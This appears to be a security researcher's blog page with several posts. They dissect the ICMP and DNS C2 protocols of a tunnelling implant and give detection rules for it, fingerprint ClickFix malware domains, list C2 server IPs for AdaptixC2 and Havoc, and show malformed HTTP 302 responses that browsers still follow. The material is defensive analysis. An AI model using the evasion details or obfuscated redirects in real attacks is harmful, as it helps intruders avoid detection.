ICMP-Ghost is an open-source tunnelling framework written in pure x64 assembly. What stands out about this framework, compared to other closed- and open-source ones, is the author's claims about its EDR evasion and Suricata IDS/IPS evasion capabilities. The framework supports a dual-channel C2 architecture (despite the exclusivity of the "ICMP" in the framework title), including ICMPv4 and DNS, with the ability to switch between them on the fly. The author makes some grandiose claims about its architecture and design with respect to performance, efficiency, endpoint and network evasion, and memory footprint.

Despite the author's claims, in this article, we detail the structures of each of the C2 protocols, along with PacketSmith Yara-X detection module rules for detecting the traffic of both C2 channels.

ICMPv4 Tunnelling

ICMP-Ghost ICMP tunnelling channel uses the Echo Request (type: 8, code: 0) and Reply (type: 0, code: 0) packets.

ICMP Echo Request Packet

The structure of the ICMP Echo Request Packet is as follows:

The ICMP Identifier and Sequence numbers are mathematically linked and used for asymmetric authentication to ensure that the packet received belongs to ICMP-Ghost, and in case the packet is not successfully validated, the packet is dropped. This relationship is established as follows:

The sum of the Identifier and the Sequence numbers has to be equal to 45000.

$$(Identifier + Sequence) == 45000 \ | \ Identifier \in [10000, 29999)$$

So, with the established conditions, the next question should be: what's the valid range of the Sequence number with respect to the rest of the constraints? This could be derived as follows:

$$Sequence = Identifier - 45000$$

$$\left|\begin{array}{l} \ if\ id = 10,000 \to seq = 35000 \ \ if\ id = 29,999 \to seq = 15001 \end{array}\right.$$

$$\therefore \ \ 15001 <= Sequence <= 35000$$

We'll leverage these constraints and relationships to enforce the values on the specified ICMP headers to harden the detection logic and detect ICMP-Ghost traffic.

The RDTSC value is dynamically generated per packet. There's a caveat about how the RDTSC value is computed in the code:

    cld
    lea rdi, [rbp + 0x100 + 32]     ; Write data after 8 (Header) + 24 (Mimicry)
    xor al, al                      
    mov rcx, 56                   
    rep stosb                       
    ; Update dynamic timestamp for stealth
    rdtsc                           
    mov [rbp + 0x100 + 8], rax

Only the low 32 bits are accounted for (rax), and effectively the high 32-bits are always zeros. We enforce this condition in the rule as follows:

uint32be(idata + 4) == 0x00000000 // rdtsc high 32-bits

The padding is hardcoded in the code, mimicking the Linux ICMP 16 bytes [0x01 - 0x1f].

The control command data is rolling-XOR encrypted with the fixed key 0x42 as the seed, adding 0x07 to it for every subsequent byte.

The following is a screenshot of the actual packet sent by the client to the server:

The following PacketSmith Yara-X detection rule detects the ICMPv4 Echo request packet, checking for all the aforementioned indicators irrespective of any fixed indicators, except for the padding characters. This rule uses the Pattern Identifier icmp4.

rule icmp_ghost_implant_icmp_echo_request_c2_detection
{ 
	meta:
	
	  description = "Detect ICMP-Ghost ICMP Echo Request C2 traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """
	  filter      = "Frames (frames:)"
	  author      = "Netomize"
	  date        = "08/11/2026"
	  
	strings:
	
	  $padding = { 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f }

	condition:

	  ip4.is_set and not ip4.in_ip6
	  and
	  icmp4.is_set and icmp4.type == 0x08 and icmp4.code == 0x00	  
	  and
	  with ident_num = uint16be(icmp4.data.offset), seq_num = uint16be(icmp4.data.offset+2), 
	       idata = icmp4.data.offset + 4, isize = icmp4.data.size :
	  (
	    // data is rolling XOR encrypted
	    isize >= 28 + 56 // (28 -> ident, seq, rdtsc value and the padding bytes) + (56 -> chunk size)
		and
		math.in_range(ident_num, 10000, 29999) 
		and
		math.in_range(seq_num, 15001, 35000) 
		and
		(ident_num + seq_num == 45000) // asymmetric authentication
		and
		uint32be(idata + 4) == 0x00000000 // rdtsc high 32-bits
		and
	    $padding at (idata + 8) // + 8 -> skipping over the rdtsc value
	  )
}

ICMP Echo Reply Packet

For the ICMP echo reply packet, ICMP-Ghost uses the same structure to construct the packet, except for the following differences:

1. The relationship between the Identifier number and the Sequence numbers is such that the sum of both has to be equal to 55000.

2. The data after the padding characters is VESQER compressed and rolling-XOR encrypted with the same algorithm and constants as that of the Echo request packet.

The structure of the ICMP Echo Reply Packet is as follows:

The sum of the Identifier and the Sequence numbers has to be equal to 55000.

$$(Identifier + Sequence) == 55000 \ | \ Identifier \in [10000, 29999)$$

So, with the established conditions, the next question should be: what's the valid range of the Sequence number with respect to the rest of the constraints? This could be derived as follows:

$$Sequence = 55000 - Identifier$$

$$\left|\begin{array}{l} \ if\ id = 10,000 \to seq = 45000 \ \ if\ id = 29,999 \to seq = 25001 \end{array}\right.$$

$$\therefore \ \ 25001 <= Sequence <= 45000$$

We'll leverage these constraints and relationships to enforce the values on the specified ICMP headers to harden the detection logic and detect ICMP-Ghost traffic.

The following is a screenshot of the actual packet sent by the server to the client:

The following PacketSmith Yara-X detection rule detects the ICMPv4 Echo reply packet, checking for all the aforementioned indicators irrespective of any fixed indicators, except for the padding characters. This rule uses the Pattern Identifier icmp4.

rule icmp_ghost_implant_icmp_echo_reply_ctrl_cmd_c2_detection
{ 
	meta:
	
	  description = "Detect ICMP-Ghost ICMP Echo Reply C2 control command traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """
	  filter      = "Frames (frames:)"
	  author      = "Netomize"
	  date        = "08/11/2026"
	  
	strings:
	
	  $padding = { 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f }

	condition:

	  ip4.is_set and not ip4.in_ip6
	  and
	  icmp4.is_set and icmp4.type == 0x00 and icmp4.code == 0x00	  
	  and
	  with ident_num = uint16be(icmp4.data.offset), seq_num = uint16be(icmp4.data.offset+2), 
	       idata = icmp4.data.offset + 4, isize = icmp4.data.size :
	  (
	    isize > 28 + 10 // data is rolling XOR encrypted and VESQER compressed
		and
		math.in_range(ident_num, 10000, 29999) 
		and
		math.in_range(seq_num, 25001, 45000)
		and
		ident_num + seq_num == 55000 // asymmetric authentication
		and
		uint32be(idata + 4) == 0x00000000 // rdtsc high 32-bits
		and
	    $padding at (idata + 8) // + 8 -> skipping over the rdtsc value
	  )
}

DNS Tunnelling

In addition to the ICMP Echo tunnelling channel, ICMP-Ghost supports DNS tunnelling, but not in the traditional sense of how DNS tunnelling works. The whole DNS Query packet is constructed byte-by-byte over UDP. There's no DNS Response packet from server-to-client; it is a Query packet in both directions. It's attempting to mimic the structure of a DNS query packet.

This is an example of a DNS query packet sent by ICMP-Ghost:

Similar to the ICMP asymmetric authentication, the DNS channel employs a similar one, based on the Transaction ID (TransID), with the constraint:

$$TransID(HighByte) + TransID(LowByte) = 0xff$$

For example, the TransID of 0xe01f shown in the screenshot above:

$$0xe0 + 0x1f == 0xff$$

The TransID is dynamically generated per packet.

The Flags, Questions, Answer RRs, Authority RRs and Additional RRs values are hardcoded in both directions. Moreover, the query is fixed to type A, class IN, with the author claiming that this is meant to blend with normal DNS traffic.

The tunnelled data is passed in the query name, and in the first segment/label/subdomain only, up to a max of 56 characters, base32 encoded (DNS chunk size is 35 bytes before encoding), consisting of the character class [a-z2-7]. The data is VESQER compressed and rolling-XOR encrypted with the same algorithm and constants as that of the Echo request packet, barring these differences between the client-to-server query packet and server-to-client query packet:

• From client-to-server, the data is rolling-XOR encrypted and base32 encoded.

• From server-to-client, the data is VESQER compressed, rolling-XOR encrypted and finally base32 encoded.

The second-level-domain and top-level domain are dynamically indexed per request, from a list of hardcoded benign domain names: github.com, microsoft.com, cloudflare.com, google.com and windows.com.

A potential PacketSmith Yara-X rule would account for all the aforementioned indicators. Moreover, with respect to the subdomain length, although some query packets might contain less than 56 characters, we instead fix it to 56 characters to avoid potential false positives at the expense of some false negatives.

This rule uses PacketSmith Yara-X Pattern Identifier dns.

rule icmp_ghost_implant_dns_query_c2_detection
{
    meta:
	
      description = "Detect ICMP-Ghost DNS Query C2 control command traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """	  
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "08/11/2026"
	  		
    condition:
	
	udp.is_set and dns.is_set	
	and 
	((dns.id >> 8) + (dns.id & 0xff)) == 0xff // asymmetric authentication
	and 
	not dns.flag.response 
	and 
	dns.flag.opcode == 0
	and 
	not dns.flag.truncated 
	and 
	dns.flag.recdesired 
	and 
	not dns.flag.z
	and 
	not dns.flag.authenticated
	and
	dns.count.queries == 1
	and
	dns.count.ansr_rr == 0
	and
	dns.count.auth_rr == 0
	and
	dns.count.addi_rr == 0
	and
	// Type: A (1) (Host Address); Class: IN (0x0001)
	dns.qry[0].type == 1 and dns.qry[0].class == 1
	and	
	// ex., mjffavtomskxfamakshkfhfevk33qb6cz3ko7yxl6ak74fim3amsekae.github.com
	with qry_name = dns.qry[0].name, nlabels = qry_name.labels.total :
	(
		// minimum query name length (worst-case scenario)
		// and number of labels/segments > 2
		string.length(qry_name.qname) > 60 and nlabels > 2
		and
		with first_seg = qry_name.labels.segments[0]:
		(
			string.length(first_seg) == 56
			and
			first_seg matches /^[a-z2-7]{56}$/
		)
	)
}

The above rule uses the dns PaID with the assumption that the DNS traffic is over port 53, but since the packet is a mimic of a DNS Query packet, the user is at liberty to use any other port, thereby rendering the DNS dissector unable to parse it. ICMP-Ghost's default DNS port for testing is set to 5300, and recommended to switch to 53 for production.

Although it is possible to add another port to the DNS dissector, for PacketSmith to recognize it as a DNS packet in the configuration file under the [dns] section, key udp_ports, it is not possible to know beforehand what port this packet will use, therefore, it is prudent to write another rule that attempts to check for the same indicators using the raw udp PaID, port independent, as follows:

rule icmp_ghost_implant_dns_udp_query_c2_detection
{
    meta:
	
      description = "Detect ICMP-Ghost DNS UDP Query C2 control command traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """	  
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "08/11/2026"
	  		
    strings:
		// flags, questions, answer rrs, authority rrs, additional rrs
		$dheader    = { 01 00 00 01 00 00 00 00 00 00 }
		$qname_rgx  = /[a-z2-7]/
		$type_class = { 00 00 01 00 01 }
	
	condition:
	
		udp.is_set
		and 
		with udata = udp.data.offset, qname = udp.data.offset + 12, usize = udp.data.size :
		(
			// asymmetric authentication
			((uint16be(udata) >> 8) + (uint16be(udata) & 0xff)) == 0xff
			and
			$dheader at (udata + 2)
			and
			// get qname length
			uint8(qname) == 56
			and
			// check subdomain character set
			$qname_rgx in (qname + 1 .. qname + 1 + uint8(qname))
			and
			// check end of label, type and class in reverse
			$type_class at (udata + usize - 5)
		)	
}

This is possible because most of the UDP packet structure is fixed, except for the query name.

For reference, all rules mentioned in this article are available at the official GitHub repo RFiles.

ICMP Detection Module

As detailed in a dedicated article on the official website of PacketSmith, "Detect Suspicious/Malicious ICMP Echo Traffic", PacketSmith employs its own ICMPv4/v6 detection engine that attempts to detect suspicious/malicious ICMP Echo traffic using behavioural and protocol semantic analysis. And this framework's ICMP traffic is the perfect candidate to test it once again, absent any specific detection rule.

Running the ICMP-Ghost pcap against the PacketSmith ICMP detection module, we get the following output:

The details of each of the types are omitted for brevity. Note that considering how ICMP-Ghost ICMP traffic is replayed, certain anomalies are bound to show up. For example, when tunnelling an Echo Request packet, first the system's ICMP network stack responds with the same packet's data payload as an Echo Reply packet using the same sequence and identifier numbers, and the second Echo Reply packet is the tunnelling packet carrying the results of a given command, but using different identifier and sequence numbers.

As shown in the above screenshot, packet 7, the Reply packet to packet 5, starts a new istream since it uses different sequence and identifier numbers.

Conclusion

In this article, we dissected the command and control structure of the open-source framework ICMP-Ghost for both the ICMP and DNS tunnelling channels. Contrary to the claims made by the author about its IDS/IPS evasion capabilities, we managed to write powerful and efficient PacketSmith Yara-X detection module rules to detect the C&C traffic of both channels.

Mohamad Mokbel

August 14, 2026

On August 5, 2026, the Microsoft Security Research Team (MSRT) blogged about a new macOS ClickFix campaign titled From open lures to cloaked gates: How a macOS ClickFix campaign learned to hide.

What's unique about this campaign is the use of TDS and fingerprinting gates to decide whether to serve the malicious page to the target user, luring the user into downloading the infostealers MacSync and Atomic Stealer (AMOS). This campaign uses groups of domain names with similar naming conventions.

The MSRT team shared 17 of those domains, listed here for reference:

applefilevault[.]com
apricotfilepoint[.]com 
bananafastfile[.]com
cloudfilebridge[.]com
filecedarwallet[.]online
filecopperbasket[.]sbs
filecrimsonsignal[.]online
filemarblegarden[.]sbs
fileoceanhammer[.]sbs
filerubyfolder[.]sbs
filevelvettractor[.]sbs
lemonfilewave[.]com
limefilescope[.]com
mangocloudfile[.]com
orangesmartfile[.]com
syncdatavault[.]com
cloudsendhub[.]com

Servers Fingerprints

This campaign serves as a good case study for using HTTP-Basma for HTTP server fingerprinting and the clustering of those fingerprints.

We've already submitted those domains to https://httpbasma.netomize.ca/ for fingerprinting, and as a result, we get 3 (actually 2) unique clusters:

• Cluster A - [15] Verbosus fingerprint: 01140a85e40014514bd522142494d672140a85e4721420958a220c0c140a85e4720000001609

  • applefilevault[.]com apricotfilepoint[.]com bananafastfile[.]com cloudfilebridge[.]com filecedarwallet[.]online filecopperbasket[.]sbs filemarblegarden[.]sbs filerubyfolder[.]sbs filevelvettractor[.]sbs lemonfilewave[.]com limefilescope[.]com mangocloudfile[.]com orangesmartfile[.]com syncdatavault[.]com cloudsendhub[.]com

• Cluster B - [1] Verbosus fingerprint: 01140a85e40014514bd522142494d672140a85e4721420958a22000c140a85e4720000001609

  • fileoceanhammer[.]sbs

• Cluster C - [1] Verbosus fingerprint: 0100000000000000000000000000000000000000000000000000000000000000000000000000

  • filecrimsonsignal[.]online

Clustering

As shown above, cluster C indicates a dead domain. Cluster A contains the majority of the domains (15), and cluster B consists of 1 domain. Now, you might be asking yourself, what's the difference between cluster A and cluster B verbosus fingerprints? They look very similar, but it is not possible to tell the actual difference at the probe or field level just by comparing them one byte at a time; For that, we use the Compare function available under https://httpbasma.netomize.ca/#compare to compare the two fingerprints, placing them next to each other, ':' separated.

The following screenshot shows the actual difference at the probe and field level, and, as shown, it is probe P6F (GET Request — Accept-Encoding, Full); Meaning, for cluster A, the server returned an actual value for this probe, which maps to the fingerprint 0c, whereas for cluster B, the server returned no value, indicated by the fingerprint 00.

In JSON format:

[
  {
    "fp1": "01140a85e40014514bd522142494d672140a85e4721420958a220c0c140a85e4720000001609",
    "fp2": "01140a85e40014514bd522142494d672140a85e4721420958a22000c140a85e4720000001609",
    "result": "not_equal",
    "p6f": {
      "content_encoding": {
        "fp1": "0c",
        "fp2": "00"
      }
    }
  }
]

In case you're curious about what the FP 0c decodes to, you could use the Demangle feature https://httpbasma.netomize.ca/#demangle, using the newly implemented graph feature to visualize it as a graph:

Therefore, the fingerprint 0c demangles to the content-encoding type zstd returned by the server for the probe p6f.

DB-Match (The Majestic Million HTTP-Basma DB)

Now that we have all the fingerprints clustered, the next step would be to check for potential false positives in the Majestic Million HTTP-Basma database for servers that share a given fingerprint, which you could access via https://httpbasma.netomize.ca/#dbmatch. Searching for Cluster A and Cluster B verbosus fingerprints yields no matches.

Conclusion

In this blog post, we used the HTTP-Basma platform for fingerprinting newly disclosed macOS ClickFix campaign webpages. Additionally, we highlighted some of the platform's capabilities to cluster those fingerprints, compare them and demangle them.

Mohamad Mokbel

August 06, 2026

A live version of HTTP-Basma is already available at https://httpbasma.netomize.ca/#cluster, with all the clustering features that we'll discuss in this blog post.

Cluster by Tags

The first clustering option is the cluster by tags, to group the database servers that match your tags by their vfp. Each cluster is one unique fingerprint shared by a set of servers, a quick way to see which infrastructure a campaign reuses. It is all unique vfps per x tag(s).

The platform provides the option to query all unique tags in the live db with their occurrences that you could use to filter against for clustering, as shown in the following screenshot:

This works by clicking on the Get all unique tags button, with the option to drill down into individual tags using the Filter tags box. The SERVERS column shows the total number of servers that share this tag. You may populate the TAGS input box by clicking on any of the listed tags, with the possibility to add more than one tag, and choosing the proper matching (MATCH) operator for your use case.

It is suggested that you leave the MAX CLUSTERS and MAX SERVERS/CLUSTER input boxes set to 0 so that you get all the possible clusters in return, with all servers per clusters, and some additional metadata. Explore the interface to get a sense of all the provided capabilities.

And to cluster by the provided tag(s), click on the Cluster by tags button. For example, if we cluster by the tag adaptixc2, an advanced redteam toolkit, we get the following two clusters (as of July 14, 2026):

You may drill down into any of the listed clusters for additional metadata, by clicking on the cluster's vfp.

And here's the full JSON output, containing all the servers that belong to each of the clusters:

{
  "tags": [
    "adaptixc2"
  ],
  "total_clusters": 2,
  "clusters": [
    {
      "fp_verbosus": "0100000000000000000000000000000000000000000000000000000000000000000000000000",
      "total_servers": 6,
      "servers": [
        {
          "server": "89.125.255.29",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "38.147.173.24",
          "path": "",
          "port": 8562,
          "is_ssl": true
        },
        {
          "server": "156.225.22.201",
          "path": "",
          "port": 1337,
          "is_ssl": true
        },
        {
          "server": "202.95.8.92",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "146.70.87.96",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "146.70.87.237",
          "path": "",
          "port": 443,
          "is_ssl": true
        }
      ]
    },
    {
      "fp_verbosus": "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001",
      "total_servers": 11,
      "servers": [
        {
          "server": "llmscience.top",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "4.236.165.30",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "8.136.13.87",
          "path": "",
          "port": 7001,
          "is_ssl": true
        },
        {
          "server": "20.157.116.151",
          "path": "",
          "port": 8000,
          "is_ssl": true
        },
        {
          "server": "23.95.220.192",
          "path": "",
          "port": 43999,
          "is_ssl": true
        },
        {
          "server": "185.190.142.66",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "2.26.229.254",
          "path": "",
          "port": 4433,
          "is_ssl": true
        },
        {
          "server": "23.227.203.205",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "38.132.122.145",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "91.132.161.21",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "23.227.203.191",
          "path": "",
          "port": 443,
          "is_ssl": true
        }
      ]
    }
  ],
  "total_servers_all_clusters": 17
}

The vfp with all zeros represent dead servers, where the server failed to return any data for all the probes. Or, it could be that the server was down at the time of fingerprinting it.

To get a sense of what every byte in the vfp "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001" accounts for, you may demangle it under the Demangle tab, and you'll get a beautifully dissected structure of every byte, per probe.

To check if the vfp "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001" matches any of the Majestic Million HTTP-Basma database for false positive, head to the DB Match tab and search the database; you'll get 73 total matches with only the first 50 displayed (this is configurable in the Match limit box).

Cluster by structural distance

This is the most advanced clustering feature employed by HTTP-Basma platform, it is a weighted structural distance. It tries to answer the question, given a set of verbosus fingerprints, which ones are structurally similar and which are different?

The platform provides two granularity options of measuring the distance: at the fields level with weighted leaves or probe level (count of probes that differ at all). The probe granularity is obvious and doesn't merit further elaboration. It is the fields granularity with weighted leaves that requires explanation. This level of clustering is possible thanks to the elegant engineering of the vfp, which allows for fine-grained inspection of every byte in the fingerprint.

Every pair of fingerprints has a single number: their weighted structural distance. It is computed on the demangled fields (the same per-probe decomposition the Compare tab produces), not on the raw hex, and clustered by a WEIGHTED count of differing fields. So a status-code change can count differently from a reason-phrase change, and "differs in N fields / N probes" is meaningful.

So distance is how many fields differ, each counted by its weight. Identical fingerprints have distance 0; the more fields that differ (and the heavier those fields), the larger the distance.

For exact matching, it uses the graph's maximal cliques (via Bron–Kerbosch with pivoting + degeneracy ordering, Eppstein–Löffler–Strash). Every member of a group is mutually that distance from every other member. And, since clique enumeration is NP-hard in the worst case, the max clique degeneracy is limited to 20 with a minimum group size of 2. In case the degeneracy cap is above 20, the distance falls back to the graph's connected components (union-find). A component means "linked by a chain of same-distance edges," not "all mutually that distance". This is not an exact match.

Essentially, we are building the graph whose edges join the fingerprint pairs at exactly that distance, then enumerate its groups.

This feature is accessible under the Cluster tab:

You paste in or upload your list of unique vfps, configure the granularity, return and response settings, along with the weights & algorithm settings, click on Cluster by distance, and you get all the distances with their groups. The weights account for every attribute checked for in every probe:

Keep in mind that only unique and non-zero vfps are checked for.

For example, setting the weights of both the KEEP-ALIVE and CLOSE fields to zero effectively neutralizes them. Consequently, any two fingerprints that differ solely by these fields will yield an identical distance metric and cluster into the same group.

A typical workflow for this clustering type includes the retrieval of all unique vfps for some tag(s) using the cluster by tags type, click on Copy fingerprints button, to copy only the vfps (minus all the other metadata) to the clipboard, and paste the data in the input box under the cluster by structural distance tab, and proceed from there.

For demonstration, let's take the Havoc tag as an example, and as of July 14, 2026, we have the following clusters:

The all zeros fingerprint will be rejected/skipped either way, so, we are left with 4 clusters. Before using the cluster by structural distance type, try the Compare functionality to visualize the actual differences between them.

If we set the we granularity, return type, response and the weights as follows:

We get the following JSON object containing all the distances with all the possible groups:

{
    "max_distance": 40.0,
    "distance_groups": [
        {
            "distance": 5.5,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001",
                    "01142494d60014514bd522142494d622142494d622142494d6220000142494d622000000001f"
                ]
            ]
        },
        {
            "distance": 6.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001",
                    "01142494d60914512f3612142494d620142494d620142494d6200800142494d6200000000001"
                ]
            ]
        },
        {
            "distance": 9.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "011423945400142394542214239454221423945422142394542200001423945422000000001f",
                    "01142494d60014514bd522142494d622142494d622142494d6220000142494d622000000001f"
                ]
            ]
        },
        {
            "distance": 11.5,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "01142494d60014514bd522142494d622142494d622142494d6220000142494d622000000001f",
                    "01142494d60914512f3612142494d620142494d620142494d6200800142494d6200000000001"
                ]
            ]
        },
        {
            "distance": 14.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "011423945400142394542214239454221423945422142394542200001423945422000000001f",
                    "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001"
                ]
            ]
        },
        {
            "distance": 20.0,
            "exact": true,
            "count": 1,
            "groups": [
                [
                    "011423945400142394542214239454221423945422142394542200001423945422000000001f",
                    "01142494d60914512f3612142494d620142494d620142494d6200800142494d6200000000001"
                ]
            ]
        }
    ]
}

The question you should ask yourself, these vfps are tagged as Havoc vfps, but are all of them Havoc vfps? To answer this question, we check the distance with respect to the granularity and weights parameters. Anything above a distance of 5.5 requires further validation.

Conclusion

In this blog post, we've showcased the clustering capabilities of HTTP-Basma using the clustering by tags type and the advanced structural distance type using the per-probe or weighted fields granularity.

Mohamad Mokbel

July 14, 2026

I'll use the HTTP status code 302 for redirection as the signal to detect whether the browser is redirecting to the intended target/location server or not.

Normal HTTP server response with the 302 redirection status code looks like this:

Normal-Variant

HTTP/1.1 302 Found
Location: https://www.google.com
Content-Type: text/html; charset=UTF-8
Content-Length: 0

Let's take the following weird server responses:

Moon-Variant

&^*_hTtppotaetopotato|sdjhfsdhfkjsf*87627834 302

And,

Mars-Variant

&^
htTPzpdfbsnmf|sdjhfsdhfkjsf*87627834 302
Location: http://www.example.com

As shown, this HTTP status line is not what you'd expect to see from an HTTP server, requesting redirection to the domain "http://www.example.com". Nonetheless, the browsers in question interpret it correctly and redirect to the intended target.

Take this one too:

Jupiter-Variant

&^
htTPzpdfbsnmf|sdjhfsdhfkjsf*87627834 302sdkfj.gjvh 7236547hjgjsdgfjsdhgfjh
lOcATioN:http://www.example.com

And to make it weirder, take this one that encodes the redirect-to location IPv4 address in decimal 1572395042 (93.184.216.34). Additionally, it uses random custom headers just to make it harder to spot the important attributes in the response header section.

Earth-Variant

&^
htTPzpdfbsnmf|sdjhfsdhfkjsf*87627834 302sdkfj.gjvh 7236565465489745jgsdfjhgsdfjhdgsjfhgsdjghfdfgsjdhfs
df47hjgjsdgfjsdhgfjh
5465489745jgsdfjhgsdfjhdgsjfhgsdj:jhgsfjhsjhsdgf
KDNFNeC8LqyV0857jkhfkjsf:gsdfjhsfuys78657834
QfOuHdAnxW60uGCV7KsnGu5rIeXUQePE:jhgsfjhsjhsdgf
5465489745jgsdfjhgsdfjhdgsjfhgsdj:jhgsfjhsjhsdgf
JPyquhdzRS91P5Fem25E:HMK42O8iN0wmkRKDNFNeC8LqyV0qCfXU
lOcATioN:htTp:/\1572395042
HMK42O8iN0wmkRKDNFNeC8LqyV0qCfXU:KDNFNeC8Lqy
mcRUwcH:jhgsfjhsjhsdgf

And this one:

Venus-Variant

&^
htTpzpdfbsnmf|sdjhfsdhfkjsf*8762783bnzvxcznbx;cvzbxcvznxbcvzncv 302sdkfj.gjvh{ 7236547hjgjsdgfjsdhgfjh
xnvbxbcvnnc     vnxbvnx}
lOcATioN:htTp:/\1572395042

The reason why these weird responses work is because the browser parses the HTTP status line according to the following criterion:

The first 4 chars could be anything including (\r\n), followed by "HTTP" (case insensitive), any char other than SP (space) and line feed characters, SP, <status_code>

This is parsable using the following regex (nocase):

"^.{4}HTTP[^ \n] <status_code>[^ \n] <reason_phrase>\n"

If you backtrack and look into every example I provided you'll notice that all of them satisfy this criterion.

The browser might even rewrite the status line with an HTTP version. For example, some versions of Google Chrome would rewrite the Jupiter-Variant into this:

HTTP/1.0 302 sdkfj.gjvh 7236547hjgjsdgfjsdhgfjh
lOcATioN:http://www.example.com

Another tidbits of some versions of Google Chrome include:

1. If no status code is defined, then, GC rewrites the SL as HTTP/1.1 200 OK

2. If no SL is defined (the whole line), then, GC rewrites the SL as HTTP/0.9 200 OK

This was weird!

Mohamad Mokbel

June 30, 2026

Last updated: July 1, 2026 - Added a snippet of a normal HTTP 302 redirection server response headers.

In today's release, we've enhanced the live version with new features designed to assist the broader community in contributing to and maintaining a public database of all fingerprints fetched by any platform user.

The list of new features includes:

• A dedicated and optional (enabled by default) Save to Database section on the Fingerprint tab allows users to save fetched fingerprints in full detail to our server. You can also tag these entries to provide additional context about the submitted domain or server.

  • Although tagging is optional, it is highly recommended. When you enable the Save result to database option in the Save to Database section of the Fingerprint tab, the TAGS input field becomes available. Applying tags allows you to easily cluster, categorize, and search through collected domains, for example, by tagging a domain with a specific APT actor name if its affiliation is known. You can query these tags directly within the Search tab.

  • If you submit a domain/server for fingerprinting with your own tags, and that domain already exists in the database, with the same fingerprint, but different tags, then the existing record's list of tags will be merged with the new ones.

  • Please tag your submissions, as this will benefit every user of the platform.

  • This is how this feature looks:

    

• A new tab named Recent that displays the most recently fingerprinted servers from the HTTP-Basma database. We provide select columns from the database to display, such as the domain/server name, verbosus and pacto fingerprints, date and time probe P1 was issued, port number, is_ssl Boolean flag, the experimental response header fingerprint for probe P1, and all tags associated with the fingerprinted server/domain.

  • This is one of the most recently submitted domains:

• A new tab named Search. Search the live HTTP-Basma database by column. Pick what to search for, fill in the query, and run it - the total number of matches is always reported. You can search by the verbosus/pacto fingerprints, list of tags (supports AND/OR operators), P1 response header fingerprint and domain/server, using different matching operators unique per column.

  • The search section looks as follows:

Other updates include:

• The domain input box in the fingerprint tab now accepts Unicode domains and converts them to Punycode. While only the Punycode version is stored in the database, both the Unicode and Punycode versions are displayed side by side.

• The Follow Redirects feature was not being configured on the backend server. This issue has been resolved, and now the final redirected URL is fingerprinted. The releases on GitHub remain unaffected by this bug.

• Updated FAQ and Privacy pages.

• Some adjustments to various UI elements.

Enjoy and use responsibly.

Mohamad Mokbel

June 09, 2026

Netomize is happy to announce the release of a new HTTP fingerprinting algorithm called HTTP-Basma to identify HTTP servers using a reversible fingerprint codenamed verbosus.

In the realm of cybersecurity, accurately identifying and characterizing web servers is crucial for threat detection, vulnerability assessment, and network mapping. We introduce HTTP-Basma, a novel active fingerprinting algorithm that unveils unique server profiles through a multi-layered approach.

Key Features: Crafted Requests, Revealing Responses: HTTP-Basma sends 8 meticulously designed HTTP probes, eliciting distinctive responses that reflect server configurations. Moreover, it offers dual hashing for versatility. The algorithm generates two hashes:

• A 38-byte fuzzy hash, "verbosus", offering reversibility

• A 16-byte one-way hash, "pacto", derived from verbosus, enhancing privacy and security

Clustering and Hunting: These hashes empower server clustering, identification of unique and similar servers, and the pursuit of malicious actors with heightened confidence.

Modular Design for Expansion: The algorithm's architecture fosters the addition of new hashing variants, encouraging collaboration and adaptability.

The full technical details of the algorithm are in the paper, where we first survey notable existing work on HTTP fingerprinting and then explore the algorithm's functionality, design, architecture, and outcomes. Additionally, we will showcase compelling findings from scanning the top 1 million Majestic websites, including the identification and clustering of C&C HTTP servers for various malware families.

The source code, Windows and Linux binary releases, and supporting data are available on GitHub HTTP-Basma. We are working on an HTTP server edition.

Links:

• GitHub repo HTTP-Basma with details

• Paper HTTP-Basma - Adaptive Fingerprinting: HTTP-Basma's Multi-Stage Probing for Granular Server Differentiation

• Source code

• Top 1 million Majestic websites

• Supporting data - majestic 1-million HTTP-Basma fingerprints CSV File - data set

• Release (Windows and Linux x64-bit release)

Mohamad Mokbel

May 20, 2026

This vulnerability was found by Outpost24 under the identifier CVE-2025-31161 (previously reported as CVE-2025-2825). Outpost24 and other vendors and security researchers have shared enough technical details about the root cause of the vulnerability and how to exploit it. Public PoCs are already available on GitHub, for example, the CVE-2025-31161 PoC.

The vulnerability was exploited in the wild by different threat actors, as reported by the Huntress team.

Netomize is taking this as a case study to demonstrate the new track_state and flow_state keywords we introduced in versions 5.3.0 and 5.4.0, in the Yara detection module, for chaining multiple rules across different packets and the same TCP/UDP flows in the pcap, respectively.

